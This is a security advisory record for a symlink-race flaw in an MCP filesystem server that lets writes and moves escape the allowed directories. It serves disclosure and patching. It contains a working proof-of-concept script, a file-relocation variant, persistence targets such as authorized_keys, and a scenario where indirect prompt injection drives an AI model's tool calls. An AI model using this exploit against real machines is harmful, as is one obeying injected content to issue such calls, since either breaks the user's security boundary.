{"id":"GHSA-53mr-w429-c597","kind":"vulnerability","aliases":["GHSA-53mr-w429-c597"],"related":[],"title":"Parent-Directory Fallback TOCTOU in @modelcontextprotocol/server-filesystem Permits Arbitrary File Write Outside allowedDirectories","description":"## Summary\r\n\r\n`validatePath()` in `lib.js` contains an ENOENT fallback intended to permit creation of new files whose parents exist inside an allowed directory. The fallback resolves only the *parent* directory through `fs.realpath()`, validates the parent against `allowedDirectories`, and then **returns the original `absolute` path unchanged** rather than the canonicalised join of the realpath-resolved parent with the basename. Every caller (`write_file`, `edit_file`, `create_directory`, `move_file`) immediately invokes a filesystem syscall on this un-canonicalised path. Between the parent-realpath check and the syscall, a separate local process can replace the parent directory with a symbolic link that points outside the allowed tree. The kernel resolves the symlink at syscall time, and the write, mkdir, or rename lands at the attacker-chosen destination. This produces arbitrary file write outside `allowedDirectories`, and via `move_file` arbitrary file relocation, including exfiltration outside the protected tree. The class is distinct from CVE-2025-53109 (symlink target validation) and CVE-2025-53110 (prefix-match containment), both fixed in 2025.7.1: neither patch added re-resolution of the parent after the ENOENT branch returns, and neither addresses a symlink that comes into existence *after* `validatePath()` completes.\r\n\r\n### Root cause\r\n\r\n`dist/lib.js`, function `validatePath`, lines (approximately) 30-90. The defect is the literal `return absolute;` on the ENOENT path. `absolute` was produced by `path.resolve()` on the caller-supplied request; it is *not* the canonical on-disk path. If `parentDir` is itself a symlink at the moment of the syscall, the kernel dereferences that symlink at syscall time, and the resulting on-disk location is wherever the symlink currently points, not the location whose realpath was validated.\r\n\r\nThe fix is straightforward: the function should return `path.join(realParentPath, path.basename(absolute))` so that the caller's syscall operates on the path whose parent has been canonicalised and approved.\r\n\r\n### Call sites that use the returned value verbatim\r\n\r\nEach of the following request handlers calls `validatePath` and then immediately performs a filesystem syscall on the returned string. There is an inter-statement window between the validation and the syscall (in some cases an additional `await` between them):\r\n\r\n- `index.js:343-344` `write_file`:\r\n  ```js\r\n  const validPath = await validatePath(parsed.data.path);\r\n  await writeFileContent(validPath, parsed.data.content);   // -> fs.writeFile inside writeFileContent\r\n  ```\r\n- `index.js:355` `edit_file`:\r\n  ```js\r\n  const validPath = await validatePath(parsed.data.path);\r\n  // applyFileEdits opens, edits, writes via tmp + rename\r\n  ```\r\n- `index.js:366` `create_directory`:\r\n  ```js\r\n  const validPath = await validatePath(parsed.data.path);\r\n  await fs.mkdir(validPath, { recursive: true });\r\n  ```\r\n- `index.js:474-476` `move_file`:\r\n  ```js\r\n  const validSourcePath = await validatePath(parsed.data.source);\r\n  const validDestPath = await validatePath(parsed.data.destination);\r\n  await fs.rename(validSourcePath, validDestPath);\r\n  ```\r\n\r\nIn `move_file`, the destination commonly does not exist, so the destination's `validatePath` call hits the ENOENT branch.\r\n\r\n### Race window\r\n\r\nThe race window is the interval between `validatePath()` returning to the caller and the subsequent filesystem syscall reaching the kernel. In practice this includes at least:\r\n\r\n1. JavaScript microtask drain after the awaited `validatePath` returns.\r\n2. Argument marshalling for the next call (`writeFileContent`, `fs.mkdir`, `fs.rename`).\r\n3. For `write_file`, an additional `await fs.writeFile(...)` setup (`lib.js:96-123` constructs a tmp path, then renames into place; both syscalls happen after the validation).\r\n4. For `edit_file`, an entire read-modify-write cycle (`lib.js:127-198`), which widens the window enormously.\r\n\r\nAny concurrently running process running as the same user can, within this window, `rmdir` the previously-real `parentDir` and `symlink` it to an attacker-chosen target. The kernel resolves the symlink at the moment of the eventual `open`/`mkdir`/`rename` syscall.\r\n\r\n\r\n## Proof of Concept\r\n\r\nThe script below imports the installed package directly and demonstrates the bug deterministically on macOS. It is self-contained: it constructs its own workspace under the system temp directory, sets the allowed directory to a freshly-created subdirectory, performs the validate + write sequence with an interposed symlink swap, and then checks whether the write landed outside the allow-list. Replace `LIB_PATH` with the path to the installed package's `dist/lib.js` (Anthropic Claude Desktop users will find it under the Filesystem extension's installation directory; direct `npm` users will find it under `node_modules/@modelcontextprotocol/server-filesystem/dist/lib.js`).\r\n\r\n```js\r\nimport fs from 'node:fs/promises';\r\nimport path from 'node:path';\r\nimport os from 'node:os';\r\nimport { pathToFileURL } from 'node:url';\r\n\r\n// Path to the installed package's lib.js. Adjust for your install location.\r\nconst LIB_PATH = '/PATH/TO/server-filesystem/dist/lib.js';\r\n\r\nconst { setAllowedDirectories, validatePath, writeFileContent } =\r\n  await import(pathToFileURL(LIB_PATH).href);\r\n\r\n// Realpath the workspace root so macOS /var vs /private/var does not\r\n// confuse the server's first-pass string-prefix containment check.\r\nawait fs.mkdir(path.join(os.tmpdir(), 'fs-toctou-poc'), { recursive: true });\r\nconst ROOT = await fs.realpath(path.join(os.tmpdir(), 'fs-toctou-poc'));\r\nconst ALLOWED = path.join(ROOT, 'allowed');\r\nconst OUTSIDE = path.join(ROOT, 'outside');\r\nconst FLIP = path.join(ALLOWED, 'flip');\r\n\r\nasync function reset() {\r\n  await fs.rm(ROOT, { recursive: true, force: true });\r\n  await fs.mkdir(ALLOWED, { recursive: true });\r\n  await fs.mkdir(OUTSIDE, { recursive: true });\r\n  await fs.mkdir(FLIP, { recursive: true });\r\n}\r\n\r\nawait reset();\r\nsetAllowedDirectories([await fs.realpath(ALLOWED)]);\r\n\r\nconst REQUESTED = path.join(FLIP, 'created.txt');\r\n\r\n// 1) Validate. The leaf does not exist (ENOENT), so the parent-dir fallback\r\n//    fires. Parent is allowed/flip, a real dir inside allowed: passes.\r\nconsole.log('[*] Calling validatePath...');\r\nconst validated = await validatePath(REQUESTED);\r\nconsole.log('[*] validatePath returned:', validated);\r\n\r\n// 2) Between validation and write, swap the parent dir for a symlink.\r\n//    In the real server this race window exists between validatePath()\r\n//    and writeFileContent() in the request handler.\r\nconsole.log('[*] Race: replacing flip dir with symlink to outside...');\r\nawait fs.rm(FLIP, { recursive: true });\r\nawait fs.symlink(OUTSIDE, FLIP);\r\n\r\n// 3) Write through the validated (now stale) path. The kernel resolves\r\n//    the parent symlink at syscall time; the write lands outside.\r\nconsole.log('[*] Writing through validated path...');\r\nawait writeFileContent(validated, 'pwned-via-toctou');\r\n\r\n// 4) Verify.\r\nconst outsideListing = await fs.readdir(OUTSIDE);\r\nconst allowedListing = await fs.readdir(ALLOWED, { withFileTypes: true });\r\nconsole.log('[*] Files now in outside/:', outsideListing);\r\nconsole.log('[*] Entries in allowed/:',\r\n  allowedListing.map(e => `${e.isSymbolicLink()?'L':e.isDirectory()?'D':'F'} ${e.name}`));\r\n\r\nif (outsideListing.includes('created.txt')) {\r\n  console.log('[!!] SUCCESS: file written OUTSIDE allowed directories.');\r\n} else {\r\n  console.log('[--] FAILED: write did not escape.');\r\n}\r\n```\r\n\r\n### Observed output\r\n\r\n```\r\n[*] Calling validatePath...\r\n[*] validatePath returned: /private/var/folders/.../T/fs-toctou-poc/allowed/flip/created.txt\r\n[*] Race: replacing flip dir with symlink to outside...\r\n[*] Writing through validated path...\r\n[*] Files now in outside/: [ 'created.txt' ]\r\n[*] Entries in allowed/: [ 'L flip' ]\r\n[!!] SUCCESS: file written OUTSIDE allowed directories.\r\n```\r\n\r\nThe `validatePath` call returned a path whose canonical resolution would have been `allowed/flip/created.txt` at the moment of validation, but which, after the parent swap, resolves through the symlink to `outside/created.txt`. The post-condition listing shows `created.txt` in `outside/`, confirming the escape. The post-condition listing of `allowed/` shows the entry `flip` is now a symlink (`L`), not a directory; that is the artefact of the swap.\r\n\r\n### `move_file` variant (information disclosure)\r\n\r\nThe same primitive applied to `move_file` produces information disclosure plus tampering. The harness places a sensitive file inside the allowed tree, requests `move_file` with a destination inside `allowed/flip/`, and performs the same swap between the destination's `validatePath` (which hits the ENOENT branch) and the subsequent `fs.rename`. The script differs from the write-file PoC only in the action between steps 1 and 4:\r\n\r\n```js\r\n// Stage a sensitive file inside the allowed tree.\r\nconst SRC = path.join(ALLOWED, 'sensitive.txt');\r\nawait fs.writeFile(SRC, 'TOP-SECRET-CREDENTIAL-MATERIAL\\n');\r\nconst DST = path.join(FLIP, 'moved.txt');\r\n\r\nconst validSrc = await validatePath(SRC);\r\nconst validDst = await validatePath(DST);\r\n\r\n// Swap on dst parent\r\nawait fs.rm(FLIP, { recursive: true });\r\nawait fs.symlink(OUTSIDE, FLIP);\r\n\r\nawait fs.rename(validSrc, validDst);\r\n\r\nconst exfilled = await fs.readFile(path.join(OUTSIDE, 'moved.txt'), 'utf8');\r\nconsole.log('[!!] EXFIL bytes:', JSON.stringify(exfilled));\r\n```\r\n\r\n`sensitive.txt` is renamed *out* of the allowed tree into `outside/moved.txt`. The original file no longer exists inside the allowed tree, and a copy of its contents now lives at an attacker-chosen location.\r\n\r\n### Cross-process exploitation\r\n\r\nThe deterministic PoC above performs the swap inside the same Node process for a 100% reproducible demonstration of the underlying defect. The same defect is reachable when the racing process is a separate operating-system process running as the same user, by spawning a child process that loops `rm + symlink` continuously while a sequence of MCP write or move requests is sent to the live server over its stdio JSON-RPC interface. On the test machine, a hot-loop racer in a separate OS process landed an escape on the order of one trial per thousand against the live server's `write_file` and `move_file` tool calls; this corresponds to a real attacker running the racer continuously, where any single landing crosses the trust boundary. \r\n\r\n### Reproduction directory layout\r\n\r\nThe PoC creates the following tree under the operating system temp directory:\r\n\r\n- `<tmp>/fs-toctou-poc/allowed/`: the configured allowed directory.\r\n- `<tmp>/fs-toctou-poc/outside/`: the attacker's chosen destination, outside the allow-list.\r\n- `<tmp>/fs-toctou-poc/allowed/flip/`: child of allowed dir, initially a real directory; gets swapped to a symlink during the race window.\r\n\r\nOn macOS the temp root is realpath-resolved through `/private/var/folders/...` rather than `/var/folders/...` so that the server's first-pass string-prefix containment check matches the realpath-resolved allow-list.\r\n\r\nAll PoC artefacts are confined to the system temp directory.\r\n\r\n### Reproduction steps\r\n\r\n1. Install `@modelcontextprotocol/server-filesystem` .\r\n2. Save the PoC script above. Update `LIB_PATH` to the install location of `dist/lib.js`.\r\n3. Run with `node <script>.js`.\r\n4. Observe `[!!] SUCCESS` and the `created.txt` file inside `<tmp>/fs-toctou-poc/outside/`.\r\n\r\n## Impact\r\n\r\n## Impact\r\n\r\n1. **Arbitrary file write outside `allowedDirectories`.** Attacker chooses both the destination path (via where the swap symlink points) and the file contents (via the tool argument). On macOS with the default APFS, no integrity protection blocks writes inside `$HOME` and most of `/Users`. Concrete misuse targets: `~/Library/LaunchAgents/<name>.plist` (persistence), `~/.zshrc` or `~/.bashrc` (shell hijack), `~/.ssh/authorized_keys` (remote access), the Claude Desktop configuration directory (poison further MCP wiring on next launch).\r\n\r\n2. **Arbitrary file move via `move_file`.** Any file the server is allowed to read can be renamed across the swapped destination parent into an attacker-chosen directory. Because `rename` is atomic and removes the source, this is both exfiltration (the data ends up at a path readable by other processes) and destruction (the file is no longer where the user expects it).\r\n\r\n3. **Arbitrary directory creation via `create_directory`.** Same primitive applied to `mkdir`. Useful for staging, for example creating a directory inside `~/Library/LaunchAgents/` if it did not exist.\r\n\r\n4. **Chains with indirect prompt injection.** The \"victim user invokes Claude\" scenario does not require the user to type a malicious request. Any attacker-controlled content drawn into the model's context (a web page fetched by another extension, a file inside the allowed tree, a clipboard paste) can prompt-inject the model into emitting the necessary `write_file`, `move_file`, or `edit_file` tool call. The on-host racer is then the only remaining attacker capability needed.\r\n\r\n5. **Confidentiality scope is Changed.** The `allowedDirectories` configuration is the entire security boundary of the extension. A successful escape breaks the user-facing promise that \"Claude can only touch these folders.\"\n\n## Windows: partly fixed\n\nOn Linux and macOS, 2.0.1 anchors each write to the directory it validated, so swapping a parent directory for a symlink between the check and the write is refused.\n\n**On Windows this is only partly fixed.** Node.js resolves every file operation on Windows from a path string rather than from a directory handle, so the server cannot anchor a write to the directory it checked. A directory on the path that is swapped for a junction between the check and the write (creating a junction needs no special privilege) can still redirect `write_file`, `edit_file`, `create_directory` and the destination of `move_file` outside the allowed directories.\n\nUntil that is fixed, on Windows do not configure an allowed directory that another user or an untrusted local process can write to. A complete Windows fix needs native code and is tracked in [#5260](https://github.com/modelcontextprotocol/servers/issues/5260).\n\n## Upgrading from a date-versioned release\n\n`@modelcontextprotocol/server-filesystem` moved from date versions (2025.x, 2026.x) to semantic versions in 1.0.0. Package managers rank 2.0.1 below every 2025.x and 2026.x version, so they will not offer it as an upgrade and Dependabot will not open one. If you are on a date version, install the fix explicitly: `npm install @modelcontextprotocol/server-filesystem@2.0.1` (or `@latest`).","summary":"The @modelcontextprotocol/server-filesystem package validates a parent directory, then returns the unresolved path, so a local process can swap that parent for a symlink and redirect writes, mkdir, or moves outside the allowed tree. An attacker running as the same user can write arbitrary files outside allowedDirectories and relocate files out of the tree.","severity":"low","cvss":2.2,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"@modelcontextprotocol/server-filesystem","fixed":[],"affected":">= 2025.1.14, <= 2026.8.31","ecosystem":"npm"},{"name":"@modelcontextprotocol/server-filesystem","fixed":["2.0.1"],"affected":"< 2.0.1","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["claude-desktop","cwe-367","filesystem","local-agents","mcp","node","package"],"not_affected_if":["no-allowed-directories-sensitive-data","single-user-locked-down-host"],"how_to_check":"- Check the installed version with `npm ls @modelcontextprotocol/server-filesystem`; versions below `2.0.1` are listed as affected.\n- Check whether the server is configured with `allowedDirectories` and whether untrusted local processes run as the same user.","fix":"- `@modelcontextprotocol/server-filesystem`: `2.0.1`","status":"open","published_at":"2026-10-25T00:19:21+00:00","first_seen_at":"2026-11-09T22:53:25+00:00","triaged_at":"2026-11-09T22:58:27+00:00","updated_at":"2026-11-09T22:58:27+00:00","category":"package","confidence":0.8,"triage":{"at":"2026-11-09T22:58:27Z","model":"claude-haiku-5-5","output":{"fix":"- `@modelcontextprotocol/server-filesystem`: `2.0.1`","reach":"local","title":"MCP filesystem server: symlink race lets writes escape allowed directories","impact":"high","summary":"The @modelcontextprotocol/server-filesystem package validates a parent directory, then returns the unresolved path, so a local process can swap that parent for a symlink and redirect writes, mkdir, or moves outside the allowed tree. An attacker running as the same user can write arbitrary files outside allowedDirectories and relocate files out of the tree.","audience":"developers","category":"package","nicknames":[],"who_cares":["mcp","filesystem","node","claude-desktop","local-agents"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"Attacker writes or moves files outside allowed directories as the user","analyst_note":"Sources say the 2.0.1 fix applies below 2.0.1, but the second product range (>= 2025.1.14, <= 2026.8.31) has no fixed version; confirm whether that range is patched in 2.0.1 or remains open.","how_to_check":"- Check the installed version with `npm ls @modelcontextprotocol/server-filesystem`; versions below `2.0.1` are listed as affected.\n- Check whether the server is configured with `allowedDirectories` and whether untrusted local processes run as the same user.","plain_action":"","product_name":"","needs_analyst":true,"not_affected_if":["single-user-locked-down-host","no-allowed-directories-sensitive-data"],"who_is_affected":"Teams running the MCP filesystem server locally or as a tool for AI agents, where another process running as the same user could interfere during a file operation. Exposure depends on whether the server's allowed directories hold anything worth protecting and whether other local code runs under the same account. Deployments on a locked-down machine with no other same-user processes are at lower risk.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"yes","severity_if_unknown":"unknown"},"cost_usd":0.001263,"input_tokens":9100,"output_tokens":706,"severity_before":"low"},"analyst_status":null,"analyst_note":null,"search":"'-123':587C '-198':614C '-2025':245C,252C '-344':446C '-367':30B '-476':493C '-53109':246C '-53110':253C '-90':296C '1':558C '2':567C '2025.7.1':261C '3':577C '30':295C '4':602C '53mr':16A,21A 'absolut':132C,303C,308C,379C 'add':264C 'addit':441C,582C 'address':278C 'agent':34B 'allow':69B,111C,196C 'alloweddirectori':13A,83B,126C,225C 'applyfileedit':471C 'approv':396C 'approxim':294C 'arbitrari':9A,80B,221C,230C 'argument':568C 'attack':72B,216C 'attacker-chosen':215C 'await':442C,452C,455C,468C,484C,487C,499C,504C,507C,564C,583C 'basenam':148C 'branch':274C,529C 'c597':18A,23A 'call':397C,411C,525C,573C 'caller':150C,316C,383C,543C 'caller-suppli':315C 'canon':323C 'canonicalis':138C,168C,394C 'case':439C 'caus':289C 'check':175C 'chosen':217C 'class':240C 'claud':27B 'claude-desktop':26B 'come':282C 'common':516C 'complet':287C 'concurr':621C 'const':450C,466C,482C,497C,502C 'construct':588C 'contain':95C,257C 'creat':155C,479C 'creation':102C 'current':359C 'cve':244C,251C 'cwe':29B 'cycl':612C 'defect':298C 'derefer':342C 'desktop':28B 'destin':218C,515C,522C 'directori':3A,44B,112C,119C,156C,187C,480C 'disk':326C,353C 'dist/lib.js':290C 'distinct':242C 'drain':561C 'edit':153C,463C,473C,604C 'enoent':97C,273C,306C,528C 'enorm':619C 'entir':607C 'everi':149C 'exfiltr':234C 'exist':108C,284C,519C 'fallback':4A,98C,114C 'file':10A,81B,86B,105C,152C,154C,158C,222C,229C,231C,448C,464C,495C,513C,580C,605C 'filesystem':31B,162C,418C,547C 'fix':259C,369C 'follow':408C 'fs.mkdir':488C,575C 'fs.realpath':121C 'fs.rename':508C,576C 'fs.writefile':459C,584C 'function':291C,373C 'ghsa':15A,20A 'ghsa-53mr-w429-c597':14A,19A 'handler':410C 'happen':598C 'hit':526C 'immedi':159C,415C 'includ':233C,555C 'index.js:343':445C 'index.js:355':462C 'index.js:366':478C 'index.js:474':492C 'insid':109C,460C 'intend':99C 'inter':428C 'inter-stat':427C 'interv':537C 'invok':160C 'javascript':559C 'join':139C 'js':449C,465C,481C,496C 'kernel':199C,341C,551C 'land':212C 'least':557C 'lib.js':94C 'lib.js:127':613C 'lib.js:96':586C 'line':293C 'link':191C 'liter':301C 'local':33B,52B,181C 'local-ag':32B 'locat':354C,363C 'marshal':569C 'match':256C 'mcp':35B 'microtask':560C 'mkdir':64B,209C 'modelcontextprotocol/server-filesystem':7A,24A,25A,39B 'modifi':610C 'moment':336C 'move':66B,157C,228C,494C,512C 'neither':262C,277C 'new':104C 'next':572C 'node':36B 'on-disk':324C,351C 'open':472C 'oper':386C 'origin':131C 'outsid':12A,67B,82B,194C,224C,235C 'packag':37B,40B 'parent':2A,43B,57B,107C,118C,124C,145C,173C,186C,270C,391C 'parent-directori':1A 'parent-realpath':172C 'parentdir':329C 'parsed.data.content':458C 'parsed.data.destination':506C 'parsed.data.path':454C,470C,486C 'parsed.data.source':501C 'patch':263C 'path':49B,133C,169C,307C,327C,389C,591C 'path.basename':378C 'path.join':376C 'path.resolve':312C 'perform':416C 'permit':8A,101C 'place':595C 'point':193C,360C 'practic':553C 'prefix':255C 'prefix-match':254C 'process':53B,182C,623C 'produc':220C,310C 'protect':237C 'race':530C,533C 'rather':135C 're':266C 're-resolut':265C 'reach':549C 'read':609C 'read-modify-writ':608C 'realparentpath':377C 'realpath':143C,174C,365C 'realpath-resolv':142C 'recurs':490C 'redirect':62B 'reloc':85B,232C 'renam':211C,477C,593C 'replac':184C 'request':318C,409C 'resolut':267C 'resolv':115C,144C,200C 'result':350C 'return':46B,129C,275C,302C,375C,402C,422C,540C,566C 'root':288C 'run':73B,622C,624C 'separ':180C 'setup':585C 'site':398C 'statement':429C 'straightforward':371C 'string':423C 'subsequ':546C 'summari':91C 'suppli':317C 'swap':55B 'symbol':190C 'symlink':60B,202C,247C,280C,333C,344C,358C 'syscal':163C,178C,204C,339C,346C,385C,419C,436C,548C,597C 'target':248C 'time':205C,347C 'tmp':476C,590C 'toctou':5A 'tree':70B,90B,197C,238C 'true':491C 'un':167C 'un-canonicalis':166C 'unchang':134C 'unresolv':48B 'use':400C 'user':77B 'valid':41B,122C,249C,367C,433C,601C 'validatepath':92C,286C,292C,412C,453C,469C,485C,500C,505C,524C,539C,565C 'validdestpath':503C,510C 'validpath':451C,457C,467C,483C,489C 'validsourcepath':498C,509C 'valu':403C 'verbatim':404C 'via':227C,475C 'w429':17A,22A 'wherev':356C 'whose':106C,364C,390C 'widen':616C 'window':430C,531C,534C,618C 'write':11A,63B,79B,151C,208C,223C,447C,474C,579C,611C 'writefilecont':456C,461C,574C","nicknames":[],"mitigations":[],"who_affected":"Teams running the MCP filesystem server locally or as a tool for AI agents, where another process running as the same user could interfere during a file operation. Exposure depends on whether the server's allowed directories hold anything worth protecting and whether other local code runs under the same account. Deployments on a locked-down machine with no other same-user processes are at lower risk.","tier":"C","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["serverfilesystem"],"ptokens":["filesystem","modelcontextprotocol","server"],"labels":["claudedesktop","cwe367","filesystem","localagents","low","mcp","node","npm","package"],"campaign_type":null,"search_a":"'53mr':16A,21A 'alloweddirectori':13A 'arbitrari':9A 'c597':18A,23A 'directori':3A 'fallback':4A 'file':10A 'ghsa':15A,20A 'ghsa-53mr-w429-c597':14A,19A 'modelcontextprotocol/server-filesystem':7A,24A,25A 'outsid':12A 'parent':2A 'parent-directori':1A 'permit':8A 'toctou':5A 'w429':17A,22A 'write':11A","search_b":"'-367':30B 'agent':34B 'allow':69B 'alloweddirectori':83B 'arbitrari':80B 'attack':72B 'claud':27B 'claude-desktop':26B 'cwe':29B 'desktop':28B 'directori':44B 'file':81B,86B 'filesystem':31B 'local':33B,52B 'local-ag':32B 'mcp':35B 'mkdir':64B 'modelcontextprotocol/server-filesystem':39B 'move':66B 'node':36B 'outsid':67B,82B 'packag':37B,40B 'parent':43B,57B 'path':49B 'process':53B 'redirect':62B 'reloc':85B 'return':46B 'run':73B 'swap':55B 'symlink':60B 'tree':70B,90B 'unresolv':48B 'user':77B 'valid':41B 'write':63B,79B","search_c":"'-123':587C '-198':614C '-2025':245C,252C '-344':446C '-476':493C '-53109':246C '-53110':253C '-90':296C '1':558C '2':567C '2025.7.1':261C '3':577C '30':295C '4':602C 'absolut':132C,303C,308C,379C 'add':264C 'addit':441C,582C 'address':278C 'allow':111C,196C 'alloweddirectori':126C,225C 'applyfileedit':471C 'approv':396C 'approxim':294C 'arbitrari':221C,230C 'argument':568C 'attack':216C 'attacker-chosen':215C 'await':442C,452C,455C,468C,484C,487C,499C,504C,507C,564C,583C 'basenam':148C 'branch':274C,529C 'call':397C,411C,525C,573C 'caller':150C,316C,383C,543C 'caller-suppli':315C 'canon':323C 'canonicalis':138C,168C,394C 'case':439C 'caus':289C 'check':175C 'chosen':217C 'class':240C 'come':282C 'common':516C 'complet':287C 'concurr':621C 'const':450C,466C,482C,497C,502C 'construct':588C 'contain':95C,257C 'creat':155C,479C 'creation':102C 'current':359C 'cve':244C,251C 'cycl':612C 'defect':298C 'derefer':342C 'destin':218C,515C,522C 'directori':112C,119C,156C,187C,480C 'disk':326C,353C 'dist/lib.js':290C 'distinct':242C 'drain':561C 'edit':153C,463C,473C,604C 'enoent':97C,273C,306C,528C 'enorm':619C 'entir':607C 'everi':149C 'exfiltr':234C 'exist':108C,284C,519C 'fallback':98C,114C 'file':105C,152C,154C,158C,222C,229C,231C,448C,464C,495C,513C,580C,605C 'filesystem':162C,418C,547C 'fix':259C,369C 'follow':408C 'fs.mkdir':488C,575C 'fs.realpath':121C 'fs.rename':508C,576C 'fs.writefile':459C,584C 'function':291C,373C 'handler':410C 'happen':598C 'hit':526C 'immedi':159C,415C 'includ':233C,555C 'index.js:343':445C 'index.js:355':462C 'index.js:366':478C 'index.js:474':492C 'insid':109C,460C 'intend':99C 'inter':428C 'inter-stat':427C 'interv':537C 'invok':160C 'javascript':559C 'join':139C 'js':449C,465C,481C,496C 'kernel':199C,341C,551C 'land':212C 'least':557C 'lib.js':94C 'lib.js:127':613C 'lib.js:96':586C 'line':293C 'link':191C 'liter':301C 'local':181C 'locat':354C,363C 'marshal':569C 'match':256C 'microtask':560C 'mkdir':209C 'modifi':610C 'moment':336C 'move':157C,228C,494C,512C 'neither':262C,277C 'new':104C 'next':572C 'on-disk':324C,351C 'open':472C 'oper':386C 'origin':131C 'outsid':194C,224C,235C 'parent':107C,118C,124C,145C,173C,186C,270C,391C 'parent-realpath':172C 'parentdir':329C 'parsed.data.content':458C 'parsed.data.destination':506C 'parsed.data.path':454C,470C,486C 'parsed.data.source':501C 'patch':263C 'path':133C,169C,307C,327C,389C,591C 'path.basename':378C 'path.join':376C 'path.resolve':312C 'perform':416C 'permit':101C 'place':595C 'point':193C,360C 'practic':553C 'prefix':255C 'prefix-match':254C 'process':182C,623C 'produc':220C,310C 'protect':237C 'race':530C,533C 'rather':135C 're':266C 're-resolut':265C 'reach':549C 'read':609C 'read-modify-writ':608C 'realparentpath':377C 'realpath':143C,174C,365C 'realpath-resolv':142C 'recurs':490C 'reloc':232C 'renam':211C,477C,593C 'replac':184C 'request':318C,409C 'resolut':267C 'resolv':115C,144C,200C 'result':350C 'return':129C,275C,302C,375C,402C,422C,540C,566C 'root':288C 'run':622C,624C 'separ':180C 'setup':585C 'site':398C 'statement':429C 'straightforward':371C 'string':423C 'subsequ':546C 'summari':91C 'suppli':317C 'symbol':190C 'symlink':202C,247C,280C,333C,344C,358C 'syscal':163C,178C,204C,339C,346C,385C,419C,436C,548C,597C 'target':248C 'time':205C,347C 'tmp':476C,590C 'tree':197C,238C 'true':491C 'un':167C 'un-canonicalis':166C 'unchang':134C 'use':400C 'valid':122C,249C,367C,433C,601C 'validatepath':92C,286C,292C,412C,453C,469C,485C,500C,505C,524C,539C,565C 'validdestpath':503C,510C 'validpath':451C,457C,467C,483C,489C 'validsourcepath':498C,509C 'valu':403C 'verbatim':404C 'via':227C,475C 'wherev':356C 'whose':106C,364C,390C 'widen':616C 'window':430C,531C,534C,618C 'write':151C,208C,223C,447C,474C,579C,611C 'writefilecont':456C,461C,574C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-10-25T00:19:21+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-53mr-w429-c597","url":"https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-53mr-w429-c597","severity":"low","published_at":"2026-10-25T00:19:21+00:00","modified_at":"2026-10-25T00:51:09+00:00","first_seen_at":"2026-11-09T22:53:25+00:00","fetched_at":"2026-11-09T22:53:25+00:00","note":null}],"documents":[{"id":110616,"url":"https://github.com/modelcontextprotocol/servers/security/advisories/GHSA-53mr-w429-c597","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}